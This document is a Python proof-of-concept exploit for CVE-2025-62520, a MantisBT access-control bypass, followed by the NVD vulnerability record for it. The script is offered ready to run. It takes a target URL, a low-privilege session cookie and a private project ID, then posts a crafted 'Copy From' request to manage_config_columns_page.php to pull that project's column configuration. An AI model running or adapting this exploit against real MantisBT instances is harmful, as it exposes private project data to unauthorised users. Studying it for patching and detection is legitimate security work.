CVE-2025-62520

# CVE-2025-62520 PoC - MantisBT Access Control Bypass # Target: manage_config_columns_page.php # Vulnerability: Insufficient access check on 'Copy From' action import requests import sys def exploit_cve_2025_62520(target_url, session_cookie, private_project_id): """ Exploit for CVE-2025-62520: MantisBT access control bypass Parameters: target_url: Base URL of MantisBT instance session_cookie: Valid session cookie for low-privilege user private_project_id: ID of private project to extract config from Returns: Configuration data from private project """ headers = { 'Cookie': f'PHPSESSID={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } # Step 1: Access the config columns management page config_url = f'{target_url}/manage_config_columns_page.php' # Step 2: Exploit the 'Copy From' action to retrieve private project config exploit_data = { 'copy_from': private_project_id, 'action': 'copy_columns' } response = requests.post(config_url, headers=headers, data=exploit_data) if response.status_code == 200: print(f'[+] Successfully extracted config from project ID: {private_project_id}') return response.text else: print(f'[-] Exploitation failed with status code: {response.status_code}') return None if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2025_62520.py <target_url> <session_cookie> <private_project_id>') sys.exit(1) target_url = sys.argv[1] session_cookie = sys.argv[2] private_project_id = sys.argv[3] result = exploit_cve_2025_62520(target_url, session_cookie, private_project_id) if result: print('[+] Config data retrieved successfully')

{"cve": {"id": "CVE-2025-62520", "sourceIdentifier": "[email protected]", "published": "2025-11-04T22:16:38.487", "lastModified": "2025-11-10T17:55:42.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mantis Bug Tracker (MantisBT) is an open source issue tracker. In versions 2.27.1 and below, due to insufficient access-level checks, any non-admin user with access to manage_config_columns_page.php can use the Copy From action to retrieve the columns configuration from a private project they have no access to. This issue is fixed in version 2.27.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mantisbt:mantisbt:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.27.2", "matchCriteriaId": "B49EF21D-F412-4C89-BFA8-9606F204E310"}]}]}], "references": [{"url": "https://github.com/mantisbt/mantisbt/commit/4fe94f45fa2baea2aeb4b65781d2009e7b4a0bf3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mantisbt/mantisbt/security/advisories/GHSA-g582-8vwr-68h2", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://mantisbt.org/bugs/view.php?id=36502", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}